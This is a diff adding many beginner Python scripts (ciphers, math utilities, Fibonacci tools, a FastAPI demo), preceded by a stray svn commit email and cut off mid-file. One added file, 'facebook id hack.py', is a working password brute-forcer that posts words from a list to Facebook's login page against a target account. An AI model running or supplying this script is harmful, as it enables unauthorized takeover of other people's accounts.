21:23:24 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m03LMFtT005150 + for ; Thu, 3 Jan 2008 16:22:15 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m03LMFo4005148 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 16:22:15 -0500 +Date: Thu, 3 Jan 2008 16:22:15 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to cwen@iupui.edu using -f +To: source@collab.sakaiproject.org +From: cwen@iupui.edu +Subject: [sakai] svn commit: r39742 - gradebook/branches/oncourse_2-4-2/app/ui/src/java/org/sakaiproject/tool/gradebook/ui +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 16:23:48 2008 +X-DSPAM-Confidence: 0.9907 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39742 + +Author: cwen@iupui.edu +Date: 2008-01-03 16:22:14 -0500 (Thu, 03 Jan 2008) +New Revision: 39742 + +Modified: +gradebook/branches/oncourse_2-4-2/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/RosterBean.java +Log: +svn merge -c 35014 https://source.sakaiproject.org/svn/gradebook/trunk +U app/ui/src/java/org/sakaiproject/tool/gradebook/ui/RosterBean.java + +svn log -r 35014 https://source.sakaiproject.org/svn/gradebook/trunk +------------------------------------------------------------------------ +r35014 | wagnermr@iupui.edu | 2007-09-12 16:17:59 -0400 (Wed, 12 Sep 2007) | 3 lines + +SAK-11458 +http://bugs.sakaiproject.org/jira/browse/SAK-11458 +Course grade does not appear on "All Grades" page if no categories in gb +------------------------------------------------------------------------ + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. diff --git a/encrypter-decrypter-gui.py b/encrypter-decrypter-gui.py new file mode 100644 index 00000000000..75d10d37839 --- /dev/null +++ b/encrypter-decrypter-gui.py @@ -0,0 +1,263 @@ +# ==================== Importing Libraries ==================== +# ============================================================= +import tkinter as tk +from tkinter import ttk +from tkinter.messagebox import showerror +from tkinter.scrolledtext import ScrolledText + +# ============================================================= + + +class Main(tk.Tk): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.title("Alphacrypter") + # ----- Setting Geometry ----- + self.geometry_settings() + + def geometry_settings(self): + _com_scr_w = self.winfo_screenwidth() + _com_scr_h = self.winfo_screenheight() + _my_w = 300 + _my_h = 450 + # ----- Now Getting X and Y Coordinates + _x = int(_com_scr_w / 2 - _my_w / 2) + _y = int(_com_scr_h / 2 - _my_h / 2) + _geo_string = str(_my_w) + "x" + str(_my_h) + "+" + str(_x) + "+" + str(_y) + self.geometry(_geo_string) + # ----- Geometry Setting Completed Now Disabling Resize Screen Button ----- + self.resizable(width=False, height=False) + + +class Notebook: + def __init__(self, parent): + self.parent = parent + # ========== Data Key ========== + self.data_dic = { + "A": "Q", + "B": "W", + "C": "E", + "D": "R", + "E": "T", + "F": "Y", + "G": "U", + "H": "I", + "I": "O", + "J": "P", + "K": "A", + "L": "S", + "M": "D", + "N": "F", + "O": "G", + "P": "H", + "Q": "J", + "R": "K", + "S": "L", + "T": "Z", + "U": "X", + "V": "C", + "W": "V", + "X": "B", + "Y": "N", + "Z": "M", + "a": "q", + "b": "w", + "c": "e", + "d": "r", + "e": "t", + "f": "y", + "g": "u", + "h": "i", + "i": "o", + "j": "p", + "k": "a", + "l": "s", + "m": "d", + "n": "f", + "o": "g", + "p": "h", + "q": "j", + "r": "k", + "s": "l", + "t": "z", + "u": "x", + "v": "c", + "w": "v", + "x": "b", + "y": "n", + "z": "m", + "1": "_", + "2": "-", + "3": "|", + "4": "?", + "5": "*", + "6": "!", + "7": "@", + "8": "#", + "9": "$", + "0": "~", + ".": "/", + ",": "+", + " ": "&", + } + # ============================== + # ----- Notebook With Two Pages ----- + self.nb = ttk.Notebook(self.parent) + self.page1 = ttk.Frame(self.nb) + self.page2 = ttk.Frame(self.nb) + self.nb.add(self.page1, text="Encrypt The Words") + self.nb.add(self.page2, text="Decrypt The Words") + self.nb.pack(expand=True, fill="both") + # ----- LabelFrames ----- + self.page1_main_label = ttk.LabelFrame( + self.page1, text="Encrypt Any Text" + ) # <----- Page1 LabelFrame1 + self.page1_main_label.grid(row=0, column=0, pady=20, padx=2, ipadx=20) + self.page1_output_label = ttk.LabelFrame(self.page1, text="Decrypted Text") + self.page1_output_label.grid(row=1, column=0, pady=10, padx=2) + + self.page2_main_label = ttk.LabelFrame( + self.page2, text="Decrypt Any Text" + ) # <----- Page1 LabelFrame1 + self.page2_main_label.grid(row=0, column=0, pady=20, padx=2, ipadx=20) + self.page2_output_label = ttk.LabelFrame(self.page2, text="Real Text") + self.page2_output_label.grid(row=1, column=0, pady=10, padx=2) + # <---Scrolled Text Global + self.decrypted_text_box = ScrolledText( + self.page1_output_label, width=30, height=5, state="normal" + ) + self.decrypted_text_box.grid(row=1, column=0, padx=2, pady=10) + + self.text_box = ScrolledText( + self.page2_output_label, width=30, height=5, state="normal" + ) + self.text_box.grid(row=1, column=0, padx=2, pady=10) + # ----- Variables ----- + self.user_text = tk.StringVar() + self.decrypted_user_text = tk.StringVar() + + self.user_text2 = tk.StringVar() + self.real_text = tk.StringVar() + # ----- Getting Inside Page1 ----- + self.page1_inside() + self.page2_inside() + + def page1_inside(self): + style = ttk.Style() + user_text_label = ttk.Label( + self.page1_main_label, text="Enter Your Text Here : ", font=("", 14) + ) + user_text_label.grid(row=0, column=0, pady=10) + user_entry_box = ttk.Entry( + self.page1_main_label, width=35, textvariable=self.user_text + ) + user_entry_box.grid(row=1, column=0) + style.configure( + "TButton", + foreground="black", + background="white", + relief="groove", + font=("", 12), + ) + encrypt_btn = ttk.Button( + self.page1_main_label, + text="Encrypt Text", + style="TButton", + command=self.encrypt_now, + ) + encrypt_btn.grid(row=2, column=0, pady=15) + + # ---------- Page1 Button Binding Function ---------- + + def encrypt_now(self): + user_text = self.user_text.get() + if user_text == "": + showerror( + "Nothing Found", "Please Enter Something In Entry Box To Encrypt...!" + ) + return + else: + self.decrypted_user_text = self.backend_work("Encrypt", user_text) + self.decrypted_text_box.insert(tk.INSERT, self.decrypted_user_text, tk.END) + + # --------------------------------------------------Binding Functions of Page1 End Here + # Page2 ------------------> + def page2_inside(self): + style = ttk.Style() + user_text_label = ttk.Label( + self.page2_main_label, text="Enter Decrypted Text Here : ", font=("", 14) + ) + user_text_label.grid(row=0, column=0, pady=10) + user_entry_box = ttk.Entry( + self.page2_main_label, width=35, textvariable=self.user_text2 + ) + user_entry_box.grid(row=1, column=0) + style.configure( + "TButton", + foreground="black", + background="white", + relief="groove", + font=("", 12), + ) + encrypt_btn = ttk.Button( + self.page2_main_label, + text="Decrypt Text", + style="TButton", + command=self.decrypt_now, + ) + encrypt_btn.grid(row=2, column=0, pady=15) + # ---------- Page1 Button Binding Function ---------- + + def decrypt_now(self): + user_text = self.user_text2.get() + if user_text == "": + showerror( + "Nothing Found", "Please Enter Something In Entry Box To Encrypt...!" + ) + return + else: + self.real_text = self.backend_work("Decrypt", user_text) + self.text_box.insert(tk.INSERT, self.real_text, tk.END) + + def backend_work(self, todo, text_coming): + text_to_return = "" + if todo == "Encrypt": + try: + text_coming = str( + text_coming + ) # <----- Lowering the letters as dic in lower letter + for word in text_coming: + for key, value in self.data_dic.items(): + if word == key: + # print(word, " : ", key) + text_to_return += value + + except ValueError: + showerror("Unknown", "Something Went Wrong, Please Restart Application") + + return text_to_return + elif todo == "Decrypt": + try: + text_coming = str(text_coming) + for word in text_coming: + for key, value in self.data_dic.items(): + if word == value: + text_to_return += key + + except ValueError: + showerror("Unknown", "Something Went Wrong, Please Restart Application") + + return text_to_return + + else: + showerror("No Function", "Function Could not get what to do...!") + + +# ============================================================= +# ==================== Classes End Here ... ! ================= + + +if __name__ == "__main__": + run = Main() + Notebook(run) + run.mainloop() diff --git a/encrypter_decrypter_gui.py b/encrypter_decrypter_gui.py new file mode 100644 index 00000000000..75d10d37839 --- /dev/null +++ b/encrypter_decrypter_gui.py @@ -0,0 +1,263 @@ +# ==================== Importing Libraries ==================== +# ============================================================= +import tkinter as tk +from tkinter import ttk +from tkinter.messagebox import showerror +from tkinter.scrolledtext import ScrolledText + +# ============================================================= + + +class Main(tk.Tk): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.title("Alphacrypter") + # ----- Setting Geometry ----- + self.geometry_settings() + + def geometry_settings(self): + _com_scr_w = self.winfo_screenwidth() + _com_scr_h = self.winfo_screenheight() + _my_w = 300 + _my_h = 450 + # ----- Now Getting X and Y Coordinates + _x = int(_com_scr_w / 2 - _my_w / 2) + _y = int(_com_scr_h / 2 - _my_h / 2) + _geo_string = str(_my_w) + "x" + str(_my_h) + "+" + str(_x) + "+" + str(_y) + self.geometry(_geo_string) + # ----- Geometry Setting Completed Now Disabling Resize Screen Button ----- + self.resizable(width=False, height=False) + + +class Notebook: + def __init__(self, parent): + self.parent = parent + # ========== Data Key ========== + self.data_dic = { + "A": "Q", + "B": "W", + "C": "E", + "D": "R", + "E": "T", + "F": "Y", + "G": "U", + "H": "I", + "I": "O", + "J": "P", + "K": "A", + "L": "S", + "M": "D", + "N": "F", + "O": "G", + "P": "H", + "Q": "J", + "R": "K", + "S": "L", + "T": "Z", + "U": "X", + "V": "C", + "W": "V", + "X": "B", + "Y": "N", + "Z": "M", + "a": "q", + "b": "w", + "c": "e", + "d": "r", + "e": "t", + "f": "y", + "g": "u", + "h": "i", + "i": "o", + "j": "p", + "k": "a", + "l": "s", + "m": "d", + "n": "f", + "o": "g", + "p": "h", + "q": "j", + "r": "k", + "s": "l", + "t": "z", + "u": "x", + "v": "c", + "w": "v", + "x": "b", + "y": "n", + "z": "m", + "1": "_", + "2": "-", + "3": "|", + "4": "?", + "5": "*", + "6": "!", + "7": "@", + "8": "#", + "9": "$", + "0": "~", + ".": "/", + ",": "+", + " ": "&", + } + # ============================== + # ----- Notebook With Two Pages ----- + self.nb = ttk.Notebook(self.parent) + self.page1 = ttk.Frame(self.nb) + self.page2 = ttk.Frame(self.nb) + self.nb.add(self.page1, text="Encrypt The Words") + self.nb.add(self.page2, text="Decrypt The Words") + self.nb.pack(expand=True, fill="both") + # ----- LabelFrames ----- + self.page1_main_label = ttk.LabelFrame( + self.page1, text="Encrypt Any Text" + ) # <----- Page1 LabelFrame1 + self.page1_main_label.grid(row=0, column=0, pady=20, padx=2, ipadx=20) + self.page1_output_label = ttk.LabelFrame(self.page1, text="Decrypted Text") + self.page1_output_label.grid(row=1, column=0, pady=10, padx=2) + + self.page2_main_label = ttk.LabelFrame( + self.page2, text="Decrypt Any Text" + ) # <----- Page1 LabelFrame1 + self.page2_main_label.grid(row=0, column=0, pady=20, padx=2, ipadx=20) + self.page2_output_label = ttk.LabelFrame(self.page2, text="Real Text") + self.page2_output_label.grid(row=1, column=0, pady=10, padx=2) + # <---Scrolled Text Global + self.decrypted_text_box = ScrolledText( + self.page1_output_label, width=30, height=5, state="normal" + ) + self.decrypted_text_box.grid(row=1, column=0, padx=2, pady=10) + + self.text_box = ScrolledText( + self.page2_output_label, width=30, height=5, state="normal" + ) + self.text_box.grid(row=1, column=0, padx=2, pady=10) + # ----- Variables ----- + self.user_text = tk.StringVar() + self.decrypted_user_text = tk.StringVar() + + self.user_text2 = tk.StringVar() + self.real_text = tk.StringVar() + # ----- Getting Inside Page1 ----- + self.page1_inside() + self.page2_inside() + + def page1_inside(self): + style = ttk.Style() + user_text_label = ttk.Label( + self.page1_main_label, text="Enter Your Text Here : ", font=("", 14) + ) + user_text_label.grid(row=0, column=0, pady=10) + user_entry_box = ttk.Entry( + self.page1_main_label, width=35, textvariable=self.user_text + ) + user_entry_box.grid(row=1, column=0) + style.configure( + "TButton", + foreground="black", + background="white", + relief="groove", + font=("", 12), + ) + encrypt_btn = ttk.Button( + self.page1_main_label, + text="Encrypt Text", + style="TButton", + command=self.encrypt_now, + ) + encrypt_btn.grid(row=2, column=0, pady=15) + + # ---------- Page1 Button Binding Function ---------- + + def encrypt_now(self): + user_text = self.user_text.get() + if user_text == "": + showerror( + "Nothing Found", "Please Enter Something In Entry Box To Encrypt...!" + ) + return + else: + self.decrypted_user_text = self.backend_work("Encrypt", user_text) + self.decrypted_text_box.insert(tk.INSERT, self.decrypted_user_text, tk.END) + + # --------------------------------------------------Binding Functions of Page1 End Here + # Page2 ------------------> + def page2_inside(self): + style = ttk.Style() + user_text_label = ttk.Label( + self.page2_main_label, text="Enter Decrypted Text Here : ", font=("", 14) + ) + user_text_label.grid(row=0, column=0, pady=10) + user_entry_box = ttk.Entry( + self.page2_main_label, width=35, textvariable=self.user_text2 + ) + user_entry_box.grid(row=1, column=0) + style.configure( + "TButton", + foreground="black", + background="white", + relief="groove", + font=("", 12), + ) + encrypt_btn = ttk.Button( + self.page2_main_label, + text="Decrypt Text", + style="TButton", + command=self.decrypt_now, + ) + encrypt_btn.grid(row=2, column=0, pady=15) + # ---------- Page1 Button Binding Function ---------- + + def decrypt_now(self): + user_text = self.user_text2.get() + if user_text == "": + showerror( + "Nothing Found", "Please Enter Something In Entry Box To Encrypt...!" + ) + return + else: + self.real_text = self.backend_work("Decrypt", user_text) + self.text_box.insert(tk.INSERT, self.real_text, tk.END) + + def backend_work(self, todo, text_coming): + text_to_return = "" + if todo == "Encrypt": + try: + text_coming = str( + text_coming + ) # <----- Lowering the letters as dic in lower letter + for word in text_coming: + for key, value in self.data_dic.items(): + if word == key: + # print(word, " : ", key) + text_to_return += value + + except ValueError: + showerror("Unknown", "Something Went Wrong, Please Restart Application") + + return text_to_return + elif todo == "Decrypt": + try: + text_coming = str(text_coming) + for word in text_coming: + for key, value in self.data_dic.items(): + if word == value: + text_to_return += key + + except ValueError: + showerror("Unknown", "Something Went Wrong, Please Restart Application") + + return text_to_return + + else: + showerror("No Function", "Function Could not get what to do...!") + + +# ============================================================= +# ==================== Classes End Here ... ! ================= + + +if __name__ == "__main__": + run = Main() + Notebook(run) + run.mainloop() diff --git a/encryptsys.py b/encryptsys.py new file mode 100644 index 00000000000..646288ca874 --- /dev/null +++ b/encryptsys.py @@ -0,0 +1,83 @@ +import string +from random import randint + + +def decrypt(): + texto = input("Input the text to decrypt : ").split(".") + abecedario = string.printable + "áéíóúÁÉÍÚÓàèìòùÀÈÌÒÙäëïöüÄËÏÖÜñÑ´" + abecedario2 = [] + nummoves = int(texto[0]) + indexs = [] + finalindexs = [] + textode1 = texto[1] + textode2 = [] + + for l in range(0, len(abecedario)): + abecedario2.append(abecedario[l]) + + for letter in range(0, len(textode1)): + textode2.append(textode1[letter]) + + for index in range(0, len(textode1)): + indexs.append(abecedario.index(textode1[index])) + + for move in range(nummoves, 0): + abecedario2 += abecedario2.pop(27) + + for value in indexs: + newval = value - nummoves + finalindexs.append(newval) + + textofin = "" + + for i in range(0, len(finalindexs)): + textofin += abecedario2[finalindexs[i]] + + print(textofin) + + +def encrypt(): + texto = input("Input the text to encrypt : ") + abecedario = string.printable + "áéíóúÁÉÍÚÓàèìòùÀÈÌÒÙäëïöüÄËÏÖÜñÑ´" + abecedario2 = [] + nummoves = randint(1, len(abecedario)) + indexs = [] + + texttoenc = [] + + for l in range(0, len(abecedario)): + abecedario2.append(abecedario[l]) + + for let in range(0, len(texto)): + texttoenc.append(texto[let]) + + for letter in texto: + indexs.append(abecedario2.index(letter)) + + for move in range(0, nummoves): + abecedario2 += abecedario2.pop(0) + + texto = [] + + for i in range(0, len(indexs)): + texto.append(abecedario2[indexs[i]]) + texto.append(".") + + fintext = "" + + for letter2 in range(0, len(texto), 2): + fintext += texto[letter2] + + fintext = str(nummoves) + "." + fintext + + print(r"\Encrypted text : " + fintext) + + +sel = input("What would you want to do?\n\n[1] Encrypt\n[2] Decrypt\n\n> ").lower() + +if sel in ["1", "encrypt"]: + encrypt() +elif sel in ["2", "decrypt"]: + decrypt() +else: + print("Unknown selection.") diff --git a/env_check.py b/env_check.py index 406f42e48d9..7e7bc53e8cd 100644 --- a/env_check.py +++ b/env_check.py @@ -10,16 +10,26 @@ import os -confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable -conffile = 'env_check.conf' # Set the variable conffile -conffilename = os.path.join(confdir, conffile) # Set the variable conffilename by joining confdir and conffile together +confdir = os.getenv( + "my_config" +) # Set the variable confdir from the OS environment variable +conffile = "env_check.conf" # Set the variable conffile +conffilename = os.path.join( + confdir, conffile +) # Set the variable conffilename by joining confdir and conffile together -for env_check in open(conffilename): # Open the config file and read all the settings - env_check = env_check.strip() # Set the variable as itsself, but strip the extra text out - print '[{}]'.format(env_check) # Format the Output to be in Square Brackets - newenv = os.getenv(env_check) # Set the variable newenv to get the settings from the OS what is currently set for the settings out the configfile - - if newenv is None: # If it doesn't exist - print env_check, 'is not set' # Print it is not set - else: # Else if it does exist - print 'Current Setting for {}={}\n'.format(env_check, newenv) # Print out the details +for env_check in open(conffilename): # Open the config file and read all the settings + env_check = ( + env_check.strip() + ) # Set the variable as itself, but strip the extra text out + print("[{}]".format(env_check)) # Format the Output to be in Square Brackets + newenv = os.getenv( + env_check + ) # Set the variable newenv to get the settings from the OS what is currently set for the settings out the configfile + + if newenv is None: # If it doesn't exist + print(env_check, "is not set") # Print it is not set + else: # Else if it does exist + print( + "Current Setting for {}={}\n".format(env_check, newenv) + ) # Print out the details diff --git a/environment.yml b/environment.yml new file mode 100644 index 00000000000..a290a698a55 Binary files /dev/null and b/environment.yml differ diff --git a/equations.py b/equations.py new file mode 100644 index 00000000000..464f1d58b67 --- /dev/null +++ b/equations.py @@ -0,0 +1,49 @@ +### +##### +####### by @JymPatel +##### +### + +### +##### edited by ... (editors can put their name and thanks for suggestion) :) +### + + +# what we are going to do +print("We can solve the below equations") +print("1 Quadratic Equation") + +# ask what they want to solve +sinput = input("What you would like to solve?") + +# for Qdc Eqn +if sinput == "1": + print("We will solve for equation 'a(x^2) + b(x) + c'") + + # value of a + a = int(input("What is value of a?")) + b = int(input("What is value of b?")) + c = int(input("What is value of c?")) + + D = b**2 - 4 * a * c + + if D < 0: + print("No real values of x satisfies your equation.") + + else: + x1 = (-b + D) / (2 * a) + x2 = (-b - D) / (2 * a) + + print("Roots for your equation are", x1, "&", x2) + + +else: + print("You have selected wrong option.") + print("Select integer for your equation and run this code again") + + +# end of code +print("You can visit https://github.com/JymPatel/Python3-FirstEdition") + +# get NEW versions of equations.py at https://github.com/JymPatel/Python3-FirstEdition with more equations +# EVEN YOU CAN CONTRIBUTE THEIR. EVERYONE IS WELCOMED THERE.. diff --git a/ex20.py b/ex20.py new file mode 100644 index 00000000000..78dc206831d --- /dev/null +++ b/ex20.py @@ -0,0 +1,37 @@ +from sys import argv + +script, input_file = argv + + +def print_all(f): + print(f.read()) + + +# seek(n) to read a file's content from byte-n +def rewind(f): + f.seek(0) + + +def print_a_line(line_count, f): + print(line_count, f.readline()) + + +current_file = open(input_file) + +print("First let's print the whole file:\n") +print_all(current_file) + +print("Now let's rewind, kind of like a tape.") +rewind(current_file) + +print("Let's print three lines:") +current_line = 1 +print_a_line(current_line, current_file) + +current_line = current_line + 1 +print_a_line(current_line, current_file) + +current_line = current_line + 1 +print_a_line(current_line, current_file) + +current_file.close() diff --git a/fF b/fF new file mode 100644 index 00000000000..2edac5d9f5d --- /dev/null +++ b/fF @@ -0,0 +1,43 @@ +# Script Name : folder_size.py +# Author : Craig Richards (Simplified by Assistant) +# Created : 19th July 2012 +# Last Modified : 19th December 2024 +# Version : 2.0.0 + +# Description : Scans a directory and subdirectories to display the total size. + +import os +import sys + +def get_folder_size(directory): + """Calculate the total size of a directory and its subdirectories.""" + total_size = 0 + for root, _, files in os.walk(directory): + for file in files: + total_size += os.path.getsize(os.path.join(root, file)) + return total_size + +def format_size(size): + """Format the size into human-readable units.""" + units = ["Bytes", "KB", "MB", "GB", "TB"] + for unit in units: + if size < 1024 or unit == units[-1]: + return f"{size:.2f} {unit}" + size /= 1024 + +def main(): + if len(sys.argv) < 2: + print("Usage: python folder_size.py ") + sys.exit(1) + + directory = sys.argv[1] + + if not os.path.exists(directory): + print(f"Error: The directory '{directory}' does not exist.") + sys.exit(1) + + folder_size = get_folder_size(directory) + print(f"Folder Size: {format_size(folder_size)}") + +if __name__ == "__main__": + main() diff --git a/facebook id hack.py b/facebook id hack.py new file mode 100644 index 00000000000..d386662f312 --- /dev/null +++ b/facebook id hack.py @@ -0,0 +1,69 @@ +# Author-Kingslayer +# Email-kingslayer8509@gmail.com +# you need to create a file password.txt which contains all possible passwords +import requests +from bs4 import BeautifulSoup +import sys + +if sys.version_info[0] != 3: + print( + """-------------------------------------- + REQUIRED PYTHON 3.x + use: python3 fb.py +-------------------------------------- + """ + ) + sys.exit() + +post_url = "https://www.facebook.com/login.php" +headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", +} +payload = {} +cookie = {} + + +def create_form(): + form = dict() + cookie = {"fr": "0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy"} + + data = requests.get(post_url, headers=headers) + for i in data.cookies: + cookie[i.name] = i.value + data = BeautifulSoup(data.text, "html.parser").form + if data.input["name"] == "lsd": + form["lsd"] = data.input["value"] + return (form, cookie) + + +def function(email, passw, i): + global payload, cookie + if i % 10 == 1: + payload, cookie = create_form() + payload["email"] = email + payload["pass"] = passw + r = requests.post(post_url, data=payload, cookies=cookie, headers=headers) + if "Find Friends" in r.text or "Two-factor authentication required" in r.text: + open("temp", "w").write(str(r.content)) + print("\npassword is : ", passw) + return True + return False + + +print("\n---------- Welcome To Facebook BruteForce ----------\n") +file = open("passwords.txt", "r") + +email = input("Enter Email/Username : ") + +print("\nTarget Email ID : ", email) +print("\nTrying Passwords from list ...") + +i = 0 +while file: + passw = file.readline().strip() + i += 1 + if len(passw) < 6: + continue + print(str(i) + " : ", passw) + if function(email, passw, i): + break diff --git a/facebook-autologin-bot.py b/facebook-autologin-bot.py new file mode 100644 index 00000000000..261f02721d5 --- /dev/null +++ b/facebook-autologin-bot.py @@ -0,0 +1,68 @@ +import pyttsx3 +import time +from selenium import webdriver + +tts = pyttsx3.init() +rate = tts.getProperty("rate") +newVoiceRate = 160 +tts.setProperty("rate", newVoiceRate) + + +def welcome(): + print(">") + print("Welcome to Autobot created by Vijay.Use exit or quite to exit.") + text = "Welcome to Autobot created by Vijay" + speak(text) + time.sleep(1) + text = "Use exit or quite to exit." + speak(text) + print("<") + + +def speak(text): + tts.say(text) + tts.runAndWait() + + +welcome() +t = 1 +while t == 1: + text = str(input(">>")) + if "hello" in text: + text = "hello my name is Autobot" + print("hello my name is Autobot") + speak(text) + text = "I can autologin to your social sites like facebook twitter github and instagram" + print( + "I can autologin to your social sites like facebook twitter github and instagram" + ) + speak(text) + continue + if "facebook" or "fb" in text: + print("Opening Your Facebook Account") + text = "Opening Your Facebook Account" + speak(text) + # your username and password here + username = "your username" + password = "yourpassword" + # download webdriver of suitable version by link below + # https://sites.google.com/a/chromium.org/chromedriver/downloads + # locate your driver + driver = webdriver.Chrome("C:\\Users\\AJAY\\Desktop\\chromedriver.exe") + url = "https://www.facebook.com" + print("Opening facebook...") + driver.get(url) + driver.find_element_by_id("email").send_keys(username) + print("Entering Your Username...") + time.sleep(1) + driver.find_element_by_id("pass").send_keys(password) + print("Entering Your password...") + driver.find_element_by_name("login").click() + time.sleep(4) + print("Login Successful") + text = "Login Successful Enjoy your day sir" + speak(text) + continue + else: + print("input valid statement") + continue diff --git a/factorial_perm_comp.py b/factorial_perm_comp.py new file mode 100644 index 00000000000..f329eac3380 --- /dev/null +++ b/factorial_perm_comp.py @@ -0,0 +1,77 @@ +# Script Name : factorial_perm_comp.py +# Author : Ebiwari Williams +# Created : 20th May 2017 +# Last Modified : +# Version : 1.0 + +# Modifications : + +# Description : Find Factorial, Permutation and Combination of a Number + + +def factorial(n): + fact = 1 + while n >= 1: + fact = fact * n + n = n - 1 + + return fact + + +def permutation(n, r): + return factorial(n) / factorial(n - r) + + +def combination(n, r): + return permutation(n, r) / factorial(r) + + +def main(): + print("choose between operator 1,2,3") + print("1) Factorial") + print("2) Permutation") + print("3) Combination") + + operation = input("\n") + + if operation == "1": + print("Factorial Computation\n") + while True: + try: + n = int(input("\n Enter Value for n ")) + print("Factorial of {} = {}".format(n, factorial(n))) + break + except ValueError: + print("Invalid Value") + continue + + elif operation == "2": + print("Permutation Computation\n") + + while True: + try: + n = int(input("\n Enter Value for n ")) + r = int(input("\n Enter Value for r ")) + print("Permutation of {}P{} = {}".format(n, r, permutation(n, r))) + break + except ValueError: + print("Invalid Value") + continue + + elif operation == "3": + print("Combination Computation\n") + while True: + try: + n = int(input("\n Enter Value for n ")) + r = int(input("\n Enter Value for r ")) + + print("Combination of {}C{} = {}".format(n, r, combination(n, r))) + break + + except ValueError: + print("Invalid Value") + continue + + +if __name__ == "__main__": + main() diff --git a/factors.py b/factors.py new file mode 100644 index 00000000000..570534daf1e --- /dev/null +++ b/factors.py @@ -0,0 +1,10 @@ +import math + +print("The factors of the number you type when prompted will be displayed") +a = int(input("Type now // ")) +b = 1 +while b <= math.sqrt(a): + if a % b == 0: + print("A factor of the number is ", b) + print("A factor of the number is ", int(a / b)) + b += 1 diff --git a/fastapi.py b/fastapi.py new file mode 100644 index 00000000000..8689d7c5b65 --- /dev/null +++ b/fastapi.py @@ -0,0 +1,49 @@ +from fastapi import FastAPI +from pydantic import BaseModel +from typing import Optional + +app = FastAPI() + +# temp database +fakedb = [] + + +# course model to store courses +class Course(BaseModel): + id: int + name: str + price: float + is_early_bird: Optional[bool] = None + + +# Home/welcome route +@app.get("/") +def read_root(): + return {"greetings": "Welcome to LearnCodeOnline.in"} + + +# Get all courses +@app.get("/courses") +def get_courses(): + return fakedb + + +# get single course +@app.get("/courses/{course_id}") +def get_a_course(course_id: int): + course = course_id - 1 + return fakedb[course] + + +# add a new course +@app.post("/courses") +def add_course(course: Course): + fakedb.append(course.dict()) + return fakedb[-1] + + +# delete a course +@app.delete("/courses/{course_id}") +def delete_course(course_id: int): + fakedb.pop(course_id - 1) + return {"task": "deletion successful"} diff --git a/fetch_news.py b/fetch_news.py new file mode 100644 index 00000000000..5b69401bd5b --- /dev/null +++ b/fetch_news.py @@ -0,0 +1,15 @@ +import requests + +_NEWS_API = "https://newsapi.org/v1/articles?source=bbc-news&sortBy=top&apiKey=" + + +def fetch_bbc_news(bbc_news_api_key: str) -> None: + # fetching a list of articles in json format + bbc_news_page = requests.get(_NEWS_API + bbc_news_api_key).json() + # each article in the list is a dict + for news, article in enumerate(bbc_news_page["articles"], 1): + print(f"{news}.) {article['title']}") + + +if __name__ == "__main__": + fetch_bbc_news(bbc_news_api_key="") diff --git a/fibonacci.py b/fibonacci.py new file mode 100644 index 00000000000..15a98a66f03 --- /dev/null +++ b/fibonacci.py @@ -0,0 +1,73 @@ +# Fibonacci tool +# This script only works with Python3! + +import time + + +def getFibonacciIterative(n: int) -> int: + """ + Calculate the fibonacci number at position n iteratively + """ + + a = 0 + b = 1 + + for _ in range(n): + a, b = b, a + b + + return a + + +def getFibonacciRecursive(n: int) -> int: + """ + Calculate the fibonacci number at position n recursively + """ + + a = 0 + b = 1 + + def step(n: int) -> int: + nonlocal a, b + if n <= 0: + return a + a, b = b, a + b + return step(n - 1) + + return step(n) + + +def getFibonacciDynamic(n: int, fib: list) -> int: + """ + Calculate the fibonacci number at position n using dynamic programming to improve runtime + """ + + if n == 0 or n == 1: + return n + if fib[n] != -1: + return fib[n] + fib[n] = getFibonacciDynamic(n - 1, fib) + getFibonacciDynamic(n - 2, fib) + return fib[n] + + +def main(): + n = int(input()) + fib = [-1] * n + getFibonacciDynamic(n, fib) + + +def compareFibonacciCalculators(n: int) -> None: + """ + Interactively compare both fibonacci generators + """ + + startI = time.clock() + resultI = getFibonacciIterative(n) + endI = time.clock() + + startR = time.clock() + resultR = getFibonacciRecursive(n) + endR = time.clock() + + s = "{} calculting {} => {} in {} seconds" + print(s.format("Iteratively", n, resultI, endI - startI)) + print(s.format("Recursively", n, resultR, endR - startR)) diff --git a/fibonacci_SIMPLIFIED b/fibonacci_SIMPLIFIED new file mode 100644 index 00000000000..77f6854050f --- /dev/null +++ b/fibonacci_SIMPLIFIED @@ -0,0 +1,10 @@ + +#printing fibonnaci series till nth element - simplified version for begginers +def print_fibonacci(n): + current_no = 1 + prev_no = 0 + for i in range(n): + print(current_no, end = " ") + prev_no,current_no = current_no, current_no + prev_no + +print_fibonacci(10) diff --git a/fibonici series.py b/fibonici series.py new file mode 100644 index 00000000000..85483ee8ab7 --- /dev/null +++ b/fibonici series.py @@ -0,0 +1,21 @@ +nterms = int(input("How many terms? ")) + +# first two terms +n1, n2 = 0, 1 +count = 0 + +# check if the number of terms is valid +if nterms <= 0: + print("Please enter a positive integer") +elif nterms == 1: + print("Fibonacci sequence upto", nterms, ":") + print(n1) +else: + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/file_ext_changer.py b/file_ext_changer.py new file mode 100644 index 00000000000..407e46f991c --- /dev/null +++ b/file_ext_changer.py @@ -0,0 +1,135 @@ +"""' Multiple extension changer""" + +import time +from pathlib 